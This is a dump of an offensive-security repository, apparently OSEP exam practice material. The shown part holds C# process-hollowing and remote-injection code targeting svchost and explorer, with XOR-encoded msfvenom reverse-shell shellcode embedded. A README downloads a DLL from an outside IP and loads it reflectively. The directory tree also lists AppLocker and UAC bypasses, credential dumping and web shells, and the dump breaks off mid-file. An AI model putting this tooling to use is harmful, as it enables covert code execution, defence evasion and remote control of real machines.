Showing preview only (4,082K chars total). Download the full file or copy to clipboard to get everything.
Repository: Extravenger/OSEPlayground
Branch: main
Commit: 06b36affb2fb
Files: 89
Total size: 3.9 MB
Directory structure:
gitextract_8zxnmjp4/
├── 01 - Process Games/
│ ├── DLL/
│ │ ├── README.md
│ │ ├── shellcodeHollower.cs
│ │ └── shellcodeInject.cs
│ └── EXE/
│ ├── NativeProcInjection.cs
│ ├── NtMapInjection.cs
│ ├── NtQueueApc.cs
│ ├── README.md
│ ├── TryHarder.cs
│ └── procHollow.cs
├── 02 - Macros/
│ ├── Curls/
│ │ ├── Curl-checkProcessBit.vba
│ │ ├── Powershell-checkProcessBit.vba
│ │ └── README.md
│ ├── MSBuild/
│ │ └── msbuild.vba
│ ├── processHollow.vba
│ ├── processInjection.vba
│ ├── revShell.vba
│ ├── shellcodeRunner.vba
│ └── simpleRunner.vba
├── 03 - CLM & Applocker Bypass/
│ ├── 1 - Source/
│ │ ├── InvokePowershell.cs
│ │ └── ShellcodeRunner.cs
│ ├── 2 - HTA Templates/
│ │ ├── README.md
│ │ ├── installutil.hta
│ │ ├── msbuild.hta
│ │ └── xsl.hta
│ ├── 3 - MSBuild/
│ │ ├── README.md
│ │ ├── clm-revshell.xml
│ │ ├── hollow.xml
│ │ ├── hollow2.xml
│ │ ├── processInjection.xml
│ │ └── shellcodeRunner.xml
│ ├── 4 - Binaries/
│ │ └── CLMBypass.cs
│ ├── 5 - JScript/
│ │ ├── README.md
│ │ └── runner.sct
│ ├── 6 - XSL/
│ │ ├── README.md
│ │ └── template.xsl
│ └── enum-paths.ps1
├── 04 - Tunneling/
│ ├── Ligolo-ApplockerBypass/
│ │ ├── Ligolo-ApplockerBypass.ps1
│ │ └── README.md
│ ├── README.md
│ ├── ligolo-clmbypass.xml
│ ├── ligolo-psrunner.ps1
│ └── ligolo.ps1
├── 05 - Lateral Movement/
│ ├── Fileless Lateral Movement/
│ │ ├── EXE/
│ │ │ └── PsExecLat.cs
│ │ ├── Powershell/
│ │ │ └── Invoke-SMBRemoting.ps1
│ │ └── README.md
│ └── MSSQL/
│ └── CustomAssembly/
│ ├── Convert-toHex.ps1
│ ├── README.md
│ └── cmd_exec.cs
├── 06 - Privilege Escalation/
│ ├── AlwaysInstallElevated/
│ │ ├── README.md
│ │ └── newlocaladmin.msi
│ └── SeImpersonate/
│ ├── Invoke-SigmaPotato.ps1
│ ├── README.md
│ └── SharpPrintSpoofer.cs
├── 07 - Powershell Scripts/
│ ├── 01 - Recon/
│ │ ├── ForeignGroupMembers.ps1
│ │ └── initialRecon.ps1
│ ├── 02 - RevShells/
│ │ ├── obf-revShell.ps1
│ │ └── obf-revShellV2.ps1
│ ├── 03 - Loaders/
│ │ ├── procHollow.ps1
│ │ └── shellcodeLoader.ps1
│ └── createAdmin.ps1
├── 08 - UAC Bypass/
│ ├── Invoke-EventViewer.ps1
│ ├── README.md
│ ├── cmstp.ps1
│ └── improved-fodhelper.ps1
├── 09 - PPL Bypass/
│ ├── Mimikatz/
│ │ ├── 32Bit/
│ │ │ └── mimidrv.sys
│ │ └── 64bit/
│ │ └── mimidrv.sys
│ ├── PPLKiller/
│ │ ├── RTCore32.sys
│ │ └── RTCore64.sys
│ └── README.md
├── 10 - Post Exploitation/
│ ├── Mimikatz/
│ │ ├── Invoke-Mimikatz.ps1
│ │ └── README.md
│ └── lsassDump/
│ ├── MiniDump.ps1
│ └── obf-MiniDump.ps1
├── 11 - KISS Payloads/
│ ├── DLL/
│ │ ├── README.md
│ │ ├── newadmin.c
│ │ └── newadmin.cpp
│ └── EXE/
│ ├── README.md
│ ├── newadmin.c
│ ├── revshell.cpp
│ └── revshell2.cpp
├── 12 - Web Shells/
│ ├── ASPX/
│ │ ├── one.aspx
│ │ └── shellcodeRunner.aspx
│ ├── JSP/
│ │ ├── cmd.jsp
│ │ └── revshell.jsp
│ ├── PHP/
│ │ └── tiny.php
│ └── README.md
├── 13 - XOR-Encoder/
│ └── README.md
├── LICENSE
└── README.md
================================================
FILE CONTENTS
================================================
================================================
FILE: 01 - Process Games/DLL/README.md
================================================
## Load shellcodeHollower remotely:
```powershell
$data = (New-Object System.Net.WebClient).DownloadData('http://192.168.50.145/run.dll')
$assem = [System.Reflection.Assembly]::Load($data)
$class = $assem.GetType("ProcessHollowingDLL.ProcessHollowing") # Adjust the type name accordingly
$method = $class.GetMethod("PerformProcessHollowing") # Ensure method name matches
$method.Invoke($null, $null)
```
## Load shellcodeInject remotely:
```powershell
$data = (New-Object System.Net.WebClient).DownloadData('http://192.168.50.145/run.dll')
$assem = [System.Reflection.Assembly]::Load($data)
$class = $assem.GetType("Inject.Injector")
$method = $class.GetMethod("InjectShellcode")
$method.Invoke($null, $null)
```
================================================
FILE: 01 - Process Games/DLL/shellcodeHollower.cs
================================================
using System;
using System.Runtime.InteropServices;
namespace ProcessHollowingDLL
{
public class ProcessHollowing
{
// Define necessary structures
[StructLayout(LayoutKind.Sequential)]
public struct STARTUPINFO
{
public uint cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public ushort wShowWindow;
public ushort cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_BASIC_INFORMATION
{
public IntPtr ExitStatus;
public IntPtr PebAddress;
public IntPtr AffinityMask;
public IntPtr BasePriority;
public IntPtr UniqueProcessId;
public IntPtr InheritedFromUniqueProcessId;
}
// Constants
const uint CREATE_SUSPENDED = 0x00000004;
const int ProcessBasicInformation = 0;
// Function declarations
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool CreateProcess(
string lpApplicationName,
string lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
ref STARTUPINFO lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation
);
[DllImport("ntdll.dll")]
static extern int NtQueryInformationProcess(
IntPtr hProcess,
int processInformationClass,
ref PROCESS_BASIC_INFORMATION processInformation,
uint processInformationLength,
ref uint returnLength
);
[DllImport("ntdll.dll")]
static extern int NtReadVirtualMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
int NumberOfBytesToRead,
out IntPtr lpNumberOfBytesRead
);
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
int NumberOfBytesToWrite,
out IntPtr lpNumberOfBytesWritten
);
[DllImport("ntdll.dll", SetLastError = true)]
static extern int NtResumeThread(IntPtr hThread, out uint lpPreviousSuspendCount);
// Entry point function for DLL to be called externally
public static void PerformProcessHollowing()
{
STARTUPINFO si = new STARTUPINFO();
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
si.cb = (uint)Marshal.SizeOf(typeof(STARTUPINFO));
// Create process in suspended state (svchost.exe in this case)
bool res = CreateProcess(null, "C:\\Windows\\System32\\svchost.exe", IntPtr.Zero, IntPtr.Zero, false, CREATE_SUSPENDED, IntPtr.Zero, null, ref si, out pi);
if (!res)
{
int errorCode = Marshal.GetLastWin32Error();
Console.WriteLine($"CreateProcess failed with error code: {errorCode}");
return;
}
if (pi.hProcess == IntPtr.Zero || pi.hThread == IntPtr.Zero)
{
Console.WriteLine("Invalid process or thread handle.");
return;
}
// Retrieve process information to locate the entry point
PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();
uint tmp = 0;
IntPtr hProcess = pi.hProcess;
int status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, ref bi, (uint)(IntPtr.Size * 6), ref tmp);
if (status != 0)
{
Console.WriteLine("Failed to query process information.");
return;
}
IntPtr ptrImageBaseAddress = (IntPtr)((long)bi.PebAddress + 0x10);
byte[] baseAddressBytes = new byte[IntPtr.Size];
IntPtr nRead;
// Read image base address
NtReadVirtualMemory(hProcess, ptrImageBaseAddress, baseAddressBytes, baseAddressBytes.Length, out nRead);
IntPtr imageBaseAddress = (IntPtr)(BitConverter.ToInt64(baseAddressBytes, 0));
byte[] data = new byte[0x200];
NtReadVirtualMemory(hProcess, imageBaseAddress, data, data.Length, out nRead);
uint e_lfanew = BitConverter.ToUInt32(data, 0x3C);
uint entrypointRvaOffset = e_lfanew + 0x28;
uint entrypointRva = BitConverter.ToUInt32(data, (int)entrypointRvaOffset);
IntPtr entrypointAddress = (IntPtr)((ulong)imageBaseAddress + entrypointRva);
// msfvenom -p windows/x64/meterpreter/shell_reverse_tcp LHOST=ens33 LPORT=443 -f csharp EXITFUNC=thread
// XOR'd with key: 0xfa
byte[] amit = new byte[511] { 0x06, 0xB2, 0x79, 0x1E, 0x0A, 0x12, 0x36, 0xFA, 0xFA, 0xFA, 0xBB, 0xAB, 0xBB, 0xAA, 0xA8, 0xAB, 0xB2, 0xCB, 0x28, 0x9F, 0xB2, 0x71, 0xA8, 0x9A, 0xB2, 0x71, 0xA8, 0xE2, 0xAC, 0xB2, 0x71, 0xA8, 0xDA, 0xB2, 0xF5, 0x4D, 0xB0, 0xB0, 0xB7, 0xCB, 0x33, 0xB2, 0x71, 0x88, 0xAA, 0xB2, 0xCB, 0x3A, 0x56, 0xC6, 0x9B, 0x86, 0xF8, 0xD6, 0xDA, 0xBB, 0x3B, 0x33, 0xF7, 0xBB, 0xFB, 0x3B, 0x18, 0x17, 0xA8, 0xBB, 0xAB, 0xB2, 0x71, 0xA8, 0xDA, 0x71, 0xB8, 0xC6, 0xB2, 0xFB, 0x2A, 0x9C, 0x7B, 0x82, 0xE2, 0xF1, 0xF8, 0xF5, 0x7F, 0x88, 0xFA, 0xFA, 0xFA, 0x71, 0x7A, 0x72, 0xFA, 0xFA, 0xFA, 0xB2, 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xFA, 0xA0, 0xBB, 0x40, 0xF1, 0xD5, 0xF5, 0xCA, 0x05, 0x2F, 0xAD, 0xA3, 0xBB, 0x40, 0x8F, 0x94, 0xB7, 0x9B, 0x05, 0x2F, 0xB3, 0x05, 0x34, 0x13, 0xC6, 0x05, 0x05, 0x05, 0xB2, 0xFB, 0x39, 0xB2, 0xD3, 0x3C, 0xB2, 0x7F, 0x0C, 0x8F, 0x4E, 0xBB, 0x05, 0x1D, 0xA2, 0x90, 0xFA, 0xA3, 0x41, 0x1A, 0xE7, 0xD0, 0xF0, 0xBB, 0x73, 0x20, 0x05, 0x2F };
for (int i = 0; i < amit.Length; i++)
{
amit[i] = (byte)((uint)amit[i] ^ 0xfa);
}
// Write the NOP shellcode to the process memory
WriteProcessMemory(hProcess, entrypointAddress, amit, amit.Length, out nRead);
// Resume the thread to execute the shellcode
uint previousSuspendCount;
int resumeStatus = NtResumeThread(pi.hThread, out previousSuspendCount);
if (resumeStatus == 0)
{
Console.WriteLine("Boom! Check your listener.");
}
else
{
Console.WriteLine("Failed to resume the thread.");
}
}
}
}
================================================
FILE: 01 - Process Games/DLL/shellcodeInject.cs
================================================
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Threading;
namespace Inject
{
public class Injector
{
private static readonly uint PAGE_EXECUTE_READWRITE = 0x40;
private static readonly uint MEM_COMMIT = 0x1000;
private static readonly uint MEM_RESERVE = 0x2000;
[StructLayout(LayoutKind.Sequential)]
public struct CLIENT_ID
{
public IntPtr UniqueProcess;
public IntPtr UniqueThread;
}
[StructLayout(LayoutKind.Sequential, Pack = 0)]
public struct OBJECT_ATTRIBUTES
{
public int Length;
public IntPtr RootDirectory;
public IntPtr ObjectName;
public uint Attributes;
public IntPtr SecurityDescriptor;
public IntPtr SecurityQualityOfService;
}
[DllImport("ntdll.dll", SetLastError = true)]
static extern uint NtOpenProcess(ref IntPtr ProcessHandle, UInt32 AccessMask, ref OBJECT_ATTRIBUTES ObjectAttributes, ref CLIENT_ID clientId);
[DllImport("ntdll.dll")]
static extern IntPtr NtAllocateVirtualMemory(IntPtr processHandle, ref IntPtr baseAddress, IntPtr zeroBits, ref IntPtr regionSize, uint allocationType, uint protect);
[DllImport("ntdll.dll")]
static extern int NtWriteVirtualMemory(IntPtr processHandle, IntPtr baseAddress, byte[] buffer, uint bufferSize, out uint written);
[DllImport("ntdll.dll", SetLastError = true)]
static extern uint NtCreateThreadEx(out IntPtr hThread, uint DesiredAccess, IntPtr ObjectAttributes, IntPtr ProcessHandle, IntPtr lpStartAddress, IntPtr lpParameter, [MarshalAs(UnmanagedType.Bool)] bool CreateSuspended, uint StackZeroBits, uint SizeOfStackCommit, uint SizeOfStackReserve, IntPtr lpBytesBuffer);
// Expose the method for external use
public static void InjectShellcode()
{
// ProcessStartInfo startInfo = new ProcessStartInfo("notepad.exe");
// Process notepadProcess = Process.Start(startInfo);
// Thread.Sleep(3000);
Process[] targetProcess = Process.GetProcessesByName("explorer");
IntPtr htargetProcess = targetProcess[0].Handle;
IntPtr hProcess = IntPtr.Zero;
CLIENT_ID clientid = new CLIENT_ID();
clientid.UniqueProcess = new IntPtr(targetProcess[0].Id);
clientid.UniqueThread = IntPtr.Zero;
OBJECT_ATTRIBUTES ObjectAttributes = new OBJECT_ATTRIBUTES();
uint status = NtOpenProcess(ref hProcess, 0x001F0FFF, ref ObjectAttributes, ref clientid);
// The shellcode XOR'd with key: 0xfa
byte[] buf = new byte[511] { 0x06, 0xB2, 0x79, 0x1E, 0x0A, 0x12, 0x36, 0xFA, 0xFA, 0xFA, 0xBB, 0xAB, 0xBB, 0xAA, 0xA8, 0xAB, 0xAC, 0xB2, 0xCB, 0x28, 0x9F, 0xB2, 0x71, 0xA8, 0x9A, 0xB2, 0x71, 0xA8, 0xE2, 0xB2, 0x71, 0xA8, 0xDA, 0xB2, 0xF5, 0x4D, 0xB0, 0xB0, 0xB7, 0xCB, 0x33, 0xB2, 0x71, 0x88, 0xAA, 0xB2, 0xCB, 0x3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40, 0xA2, 0x5E, 0xA9, 0x1F, 0x05, 0x2F, 0xB2, 0x73, 0x39, 0xB3, 0x73, 0x3D, 0xB7, 0xCB, 0x33, 0xB3, 0x73, 0x0A, 0xB2, 0x73, 0x20, 0xB2, 0x73, 0x03, 0xBB, 0x40, 0xF8, 0x23, 0x32, 0xA5, 0x05, 0x2F, 0x79, 0x02, 0xFA, 0x87, 0xD2, 0xA2, 0xBB, 0xAD, 0xA3, 0x92, 0xFA, 0xBA, 0xFA, 0xFA, 0xBB, 0xA2, 0x90, 0xFA, 0xA0, 0xBB, 0x40, 0xF1, 0xD5, 0xF5, 0xCA, 0x05, 0x2F, 0xAD, 0xA3, 0xBB, 0x40, 0x8F, 0x94, 0xB7, 0x9B, 0x05, 0x2F, 0xB3, 0x05, 0x34, 0x13, 0xC6, 0x05, 0x05, 0x05, 0xB2, 0xFB, 0x39, 0xB2, 0xD3, 0x3C, 0xB2, 0x7F, 0x0C, 0x8F, 0x4E, 0xBB, 0x05, 0x1D, 0xA2, 0x90, 0xFA, 0xA3, 0x41, 0x1A, 0xE7, 0xD0, 0xF0, 0xBB, 0x73, 0x20, 0x05, 0x2F };
IntPtr baseAddress = new IntPtr();
IntPtr regionSize = (IntPtr)buf.Length;
IntPtr NtAllocResult = NtAllocateVirtualMemory(hProcess, ref baseAddress, IntPtr.Zero, ref regionSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// Decode the payload
for (int j = 0; j < buf.Length; j++)
{
buf[j] = (byte)((uint)buf[j] ^ 0xfa);
}
int NtWriteProcess = NtWriteVirtualMemory(hProcess, baseAddress, buf, (uint)buf.Length, out uint wr);
List<int> threadList = new List<int>();
ProcessThreadCollection threadsBefore = Process.GetProcessById(targetProcess[0].Id).Threads;
foreach (ProcessThread thread in threadsBefore)
{
threadList.Add(thread.Id);
}
IntPtr hRemoteThread;
uint hThread = NtCreateThreadEx(out hRemoteThread, 0x1FFFFF, IntPtr.Zero, htargetProcess, (IntPtr)baseAddress, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero);
}
}
}
================================================
FILE: 01 - Process Games/EXE/NativeProcInjection.cs
================================================
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Threading;
namespace Inject
{
class Program
{
private static readonly uint PAGE_EXECUTE_READWRITE = 0x40;
private static readonly uint MEM_COMMIT = 0x1000;
private static readonly uint MEM_RESERVE = 0x2000;
[StructLayout(LayoutKind.Sequential)]
public struct CLIENT_ID
{
public IntPtr UniqueProcess;
public IntPtr UniqueThread;
}
[StructLayout(LayoutKind.Sequential, Pack = 0)]
public struct OBJECT_ATTRIBUTES
{
public int Length;
public IntPtr RootDirectory;
public IntPtr ObjectName;
public uint Attributes;
public IntPtr SecurityDescriptor;
public IntPtr SecurityQualityOfService;
}
[DllImport("ntdll.dll", SetLastError = true)]
static extern uint NtOpenProcess(ref IntPtr ProcessHandle, UInt32 AccessMask, ref OBJECT_ATTRIBUTES ObjectAttributes, ref CLIENT_ID clientId);
[DllImport("ntdll.dll")]
static extern IntPtr NtAllocateVirtualMemory(IntPtr processHandle, ref IntPtr baseAddress, IntPtr zeroBits, ref IntPtr regionSize, uint allocationType, uint protect);
[DllImport("ntdll.dll")]
static extern int NtWriteVirtualMemory(IntPtr processHandle, IntPtr baseAddress, byte[] buffer, uint bufferSize, out uint written);
[DllImport("ntdll.dll", SetLastError = true)]
static extern uint NtCreateThreadEx(out IntPtr hThread, uint DesiredAccess, IntPtr ObjectAttributes, IntPtr ProcessHandle, IntPtr lpStartAddress, IntPtr lpParameter, [MarshalAs(UnmanagedType.Bool)] bool CreateSuspended, uint StackZeroBits, uint SizeOfStackCommit, uint SizeOfStackReserve, IntPtr lpBytesBuffer);
static void Main(string[] args)
{
Process[] targetProcess = Process.GetProcessesByName("explorer");
IntPtr htargetProcess = targetProcess[0].Handle;
IntPtr hProcess = IntPtr.Zero;
CLIENT_ID clientid = new CLIENT_ID();
clientid.UniqueProcess = new IntPtr(targetProcess[0].Id);
clientid.UniqueThread = IntPtr.Zero;
OBJECT_ATTRIBUTES ObjectAttributes = new OBJECT_ATTRIBUTES();
uint status = NtOpenProcess(ref hProcess, 0x001F0FFF, ref ObjectAttributes, ref clientid);
// Generate: msfvenom -p windows/x64/meterpreter/reverse_tcp exitfunc=thread LHOST=eth0 LPORT=443 -f csharp
// The shellcode XOR'd with key: 0xfa
byte[] buf = new byte[511] { 0x06, 0xB2, 0x79, 0x1E, 0x0A, 0x12, 0x36, 0xFA, 0xFA, 0xFA, 0xBB, 0xAB, 0xBB, 0xAA, 0xA8, 0xB2, 0xCB, 0x28, 0xAB, 0xAC, 0x9F, 0xB2, 0x71, 0xA8, 0x9A, 0xB2, 0x71, 0xA8, 0xE2, 0xB2, 0x71, 0xA8, 0xDA, 0xB2, 0xF5, 0x4D, 0xB0, 0xB0, 0xB2, 0x71, 0x88, 0xAA, 0xB7, 0xCB, 0x33, 0xB2, 0xCB, 0x3A, 0x56, 0xC6, 0x9B, 0x86, 0xF8, 0xD6, 0xDA, 0xBB, 0x3B, 0x33, 0xF7, 0xBB, 0xFB, 0x3B, 0x18, 0x17, 0xA8, 0xB2, 0x71, 0xA8, 0xDA, 0xBB, 0xAB, 0x71, 0xB8, 0xC6, 0xB2, 0xFB, 0x2A, 0x9C, 0x7B, 0x82, 0xE2, 0xF1, 0xF8, 0xF5, 0x7F, 0x88, 0xFA, 0xFA, 0xFA, 0x71, 0x7A, 0x72, 0xFA, 0xFA, 0xFA, 0xB2, 0x7F, 0x3A, 0x8E, 0x9D, 0xB2, 0xFB, 0x2A, 0xAA, 0x71, 0xB2, 0xE2, 0xBE, 0x71, 0xBA, 0xDA, 0xB3, 0xFB, 0x2A, 0x19, 0xAC, 0xB2, 0x05, 0x33, 0xBB, 0x71, 0xCE, 0x72, 0xB2, 0xFB, 0x2C, 0xB7, 0xCB, 0x33, 0xB2, 0xCB, 0x3A, 0x56, 0xBB, 0x3B, 0x33, 0xF7, 0xBB, 0xFB, 0x3B, 0xC2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 0x41, 0x1A, 0xE7, 0xD0, 0xF0, 0xBB, 0x73, 0x20, 0x05, 0x2F };
IntPtr baseAddress = new IntPtr();
IntPtr regionSize = (IntPtr)buf.Length;
IntPtr NtAllocResult = NtAllocateVirtualMemory(hProcess, ref baseAddress, IntPtr.Zero, ref regionSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
var localBaseAddrString = string.Format("{0:X}", baseAddress);
UInt64 localBaseAddrInt = UInt64.Parse(localBaseAddrString);
string localBaseAddHex = localBaseAddrInt.ToString("x");
// Decode the payload
for (int j = 0; j < buf.Length; j++)
{
buf[j] = (byte)((uint)buf[j] ^ 0xfa);
}
int NtWriteProcess = NtWriteVirtualMemory(hProcess, baseAddress, buf, (uint)buf.Length, out uint wr);
unsafe
{
fixed (byte* p = &buf[0])
{
byte* p2 = p;
var bufString = string.Format("{0:X}", new IntPtr(p2));
UInt64 bufInt = UInt64.Parse(bufString);
string bufHex = bufInt.ToString("x");
}
}
List<int> threadList = new List<int>();
ProcessThreadCollection threadsBefore = Process.GetProcessById(targetProcess[0].Id).Threads;
foreach (ProcessThread thread in threadsBefore)
{
threadList.Add(thread.Id);
}
IntPtr hRemoteThread;
uint hThread = NtCreateThreadEx(out hRemoteThread, 0x1FFFFF, IntPtr.Zero, htargetProcess,(IntPtr)baseAddress, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero);
}
}
}
================================================
FILE: 01 - Process Games/EXE/NtMapInjection.cs
================================================
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Threading;
namespace Inject
{
class Program
{
private static readonly uint SECTION_MAP_READ = 0x0004;
private static readonly uint SECTION_MAP_WRITE = 0x0002;
private static readonly uint SECTION_MAP_EXECUTE = 0x0008;
private static readonly uint PAGE_EXECUTE_READWRITE = 0x40;
private static readonly uint SEC_COMMIT = 0x8000000;
private static readonly uint PAGE_READWRITE = 0x04;
private static readonly uint PAGE_READEXECUTE = 0x20;
[DllImport("ntdll.dll", SetLastError = true, ExactSpelling = true)]
static extern UInt32 NtCreateSection(ref IntPtr SectionHandle, UInt32 DesiredAccess, IntPtr ObjectAttributes, ref UInt32 MaximumSize, UInt32 SectionPageProtection, UInt32 AllocationAttributes, IntPtr FileHandle);
[DllImport("ntdll.dll", SetLastError = true)]
static extern uint NtMapViewOfSection(IntPtr SectionHandle, IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, IntPtr CommitSize, out ulong SectionOffset, out int ViewSize, uint InheritDisposition, uint AllocationType, uint Win32Protect);
[DllImport("ntdll.dll", SetLastError = true)]
static extern uint NtUnmapViewOfSection(IntPtr hProc, IntPtr baseAddr);
[DllImport("ntdll.dll", ExactSpelling = true, SetLastError = false)]
static extern int NtClose(IntPtr hObject);
[DllImport("ntdll.dll", SetLastError = true)]
public static extern uint NtCreateThreadEx(out IntPtr hThread, uint DesiredAccess, IntPtr ObjectAttributes, IntPtr ProcessHandle, IntPtr lpStartAddress, IntPtr lpParameter, [MarshalAs(UnmanagedType.Bool)] bool CreateSuspended, uint StackZeroBits, uint SizeOfStackCommit, uint SizeOfStackReserve, IntPtr lpBytesBuffer);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
static void Main(string[] args)
{
byte[] buf;
IntPtr hremoteProcess = default;
Process[] targetProcess = Process.GetProcessesByName("explorer"); //You can change it.
hremoteProcess = OpenProcess(0x001F0FFF, false, targetProcess[0].Id);
IntPtr hlocalProcess = Process.GetCurrentProcess().Handle;
// x86 Payload: msfvenom -p windows/shell_reverse_tcp exitfunc=thread LHOST=192.168.100.128 LPORT=4444 -f csharp
// byte[] bufx64 = new byte[375] { 0x06, 0x12, 0x75, 0xFA, 0xFA, 0xFA, 0x9A, 0xCB, 0x28, 0x73, 0x1F, 0x9E, 0x71, 0xA8, 0xCA, 0x71, 0xA8, 0xF6, 0x71, 0xA8, 0xEE, 0xCB, 0x05, 0x71, 0x88, 0xD2, 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xAA, 0xBA, 0xAA, 0x92, 0x10, 0xF5, 0x25, 0x1A, 0x05, 0x2F, 0x6D, 0x90, 0xEA, 0xAC, 0xAD, 0x92, 0x63, 0x5F, 0x8E, 0x9B, 0x05, 0x2F, 0x7F, 0x3A, 0x8E, 0xF0, 0x05, 0xB4, 0xF2, 0x8F, 0x16, 0x12, 0x9D, 0xFA, 0xFA, 0xFA, 0x90, 0xFA, 0x90, 0xFE, 0xAC, 0xAD, 0x92, 0xF8, 0x23, 0x32, 0xA5, 0x05, 0x2F, 0x79, 0x02, 0xFA, 0x84, 0xCC, 0x71, 0xCC, 0x90, 0xBA, 0x92, 0xFA, 0xEA, 0xFA, 0xFA, 0xAC, 0x90, 0xFA, 0x92, 0xA2, 0x5E, 0xA9, 0x1F, 0x05, 0x2F, 0x69, 0xA9, 0x90, 0xFA, 0xAC, 0xA9, 0xAD, 0x92, 0xF8, 0x23, 0x32, 0xA5, 0x05, 0x2F, 0x79, 0x02, 0xFA, 0x87, 0xD2, 0xA2, 0x92, 0xFA, 0xBA, 0xFA, 0xFA, 0x90, 0xFA, 0xAA, 0x92, 0xF1, 0xD5, 0xF5, 0xCA, 0x05, 0x2F, 0xAD, 0x92, 0x8F, 0x94, 0xB7, 0x9B, 0x05, 0x2F, 0xA4, 0xA4, 0x05, 0xF6, 0xDE, 0xF5, 0x7F, 0x8A, 0x05, 0x05, 0x05, 0x13, 0x61, 0x05, 0x05, 0x05, 0xFB, 0x39, 0xD3, 0x3C, 0x8F, 0x3B, 0x39, 0x41, 0x1A, 0xE7, 0xD0, 0xF0, 0x92, 0x5C, 0x6F, 0x47, 0x67, 0x05, 0x2F, 0xC6, 0xFC, 0x86, 0xF0, 0x7A, 0x01, 0x1A, 0x8F, 0xFF, 0x41, 0xBD, 0xE9, 0x88, 0x95, 0x90, 0xFA, 0xA9, 0x05, 0x2F };
// x64 Payload: msfvenom -p windows/x64/shell_reverse_tcp exitfunc=thread LHOST=192.168.100.128 LPORT=4444 -f csharp
byte[]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xB2, 0x73, 0x18, 0xB7, 0xCB, 0x33, 0x90, 0xFE, 0xBB, 0xA2, 0xB2, 0x73, 0x03, 0xBB, 0x40, 0xF8, 0x23, 0x32, 0xA5, 0x05, 0x2F, 0x79, 0x02, 0xFA, 0x84, 0xAF, 0xB2, 0x79, 0x3E, 0xDA, 0xA4, 0x73, 0x0C, 0x90, 0xBA, 0xBB, 0xA3, 0x92, 0xFA, 0xEA, 0xFA, 0xFA, 0xBB, 0xA2, 0xB2, 0x73, 0x08, 0xB2, 0xCB, 0x33, 0xBB, 0x40, 0xA2, 0x5E, 0xA9, 0x1F, 0x05, 0x2F, 0xB2, 0x73, 0x39, 0xB3, 0x73, 0x3D, 0xB7, 0xCB, 0x33, 0xB3, 0x73, 0x0A, 0xB2, 0x73, 0x20, 0xB2, 0x73, 0x03, 0xBB, 0x40, 0xF8, 0x23, 0x32, 0xA5, 0x05, 0x2F, 0x79, 0x02, 0xFA, 0x87, 0xD2, 0xA2, 0xBB, 0xAD, 0xA3, 0x92, 0xFA, 0xBA, 0xFA, 0xFA, 0xBB, 0xA2, 0x90, 0xFA, 0xA0, 0xBB, 0x40, 0xF1, 0xD5, 0xF5, 0xCA, 0x05, 0x2F, 0xAD, 0xA3, 0xBB, 0x40, 0x8F, 0x94, 0xB7, 0x9B, 0x05, 0x2F, 0xB3, 0x05, 0x34, 0x13, 0xC6, 0x05, 0x05, 0x05, 0xB2, 0xFB, 0x39, 0xB2, 0xD3, 0x3C, 0xB2, 0x7F, 0x0C, 0x8F, 0x4E, 0xBB, 0x05, 0x1D, 0xA2, 0x90, 0xFA, 0xA3, 0x41, 0x1A, 0xE7, 0xD0, 0xF0, 0xBB, 0x73, 0x20, 0x05, 0x2F };
buf = bufx64;
int len = buf.Length;
uint bufferLength = (uint)len;
// Decode the payload
for (int j = 0; j < bufx64.Length; j++)
{
bufx64[j] = (byte)((uint)bufx64[j] ^ 0xfa);
}
IntPtr sectionHandler = new IntPtr();
long createSection = (int)NtCreateSection(ref sectionHandler, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, IntPtr.Zero, ref bufferLength, PAGE_EXECUTE_READWRITE, SEC_COMMIT, IntPtr.Zero);
IntPtr localBaseAddress = new IntPtr();
int sizeLocal = 4096;
ulong offsetSectionLocal = new ulong();
long mapSectionLocal = NtMapViewOfSection(sectionHandler, hlocalProcess, ref localBaseAddress, IntPtr.Zero, IntPtr.Zero, out offsetSectionLocal, out sizeLocal, 2, 0, PAGE_READWRITE);
var localBaseAddrString = string.Format("{0:X}", localBaseAddress);
UInt64 localBaseAddrInt = UInt64.Parse(localBaseAddrString);
string localBaseAddHex = localBaseAddrInt.ToString("x");
IntPtr remoteBaseAddress = new IntPtr();
int sizeRemote = 4096;
ulong offsetSectionRemote = new ulong();
long mapSectionRemote = NtMapViewOfSection(sectionHandler, hremoteProcess, ref remoteBaseAddress, IntPtr.Zero, IntPtr.Zero, out offsetSectionRemote, out sizeRemote, 2, 0, PAGE_READEXECUTE);
var remoteBaseAddrString = string.Format("{0:X}", remoteBaseAddress);
UInt64 remoteBaseAddrInt = UInt64.Parse(remoteBaseAddrString);
string remoteBaseAddHex = remoteBaseAddrInt.ToString("x");
Marshal.Copy(buf, 0, localBaseAddress, buf.Length);
unsafe
{
